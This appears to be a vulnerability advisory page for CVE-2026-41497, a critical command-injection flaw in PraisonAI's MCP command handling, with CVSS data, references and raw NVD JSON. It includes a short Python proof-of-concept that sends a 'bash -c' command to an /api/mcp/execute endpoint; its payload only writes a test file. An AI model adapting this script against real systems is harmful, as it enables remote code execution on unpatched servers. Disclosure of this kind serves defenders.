CVE-2026-41497

Description

PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:* - VULNERABLE

PraisonAI < 4.6.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-41497
# Target: PraisonAI < 4.6.9

def exploit(target_url):
    # Malicious command payload to execute shell command
    payload = {
        "command": "bash",
        "args": ["-c", "echo 'CVE-2026-41497 RCE Test' > /tmp/poc.txt"]
    }
    
    try:
        response = requests.post(f"{target_url}/api/mcp/execute", json=payload)
        if response.status_code == 200:
            print("[+] Exploit successful! Command executed.")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    exploit("http://localhost:8000")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41497
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41497
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41497/
[4] VulDB https://vuldb.com/cve/CVE-2026-41497
[5] https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c
[6] https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j
[7] https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41497", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:33.843", "lastModified": "2026-05-08T19:10:22.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.6.9", "matchCriteriaId": "926F2340-8373-45E8-8F68-EDB9E771A52E"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Patch", "Mitigation"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Patch", "Mitigation"]}]}}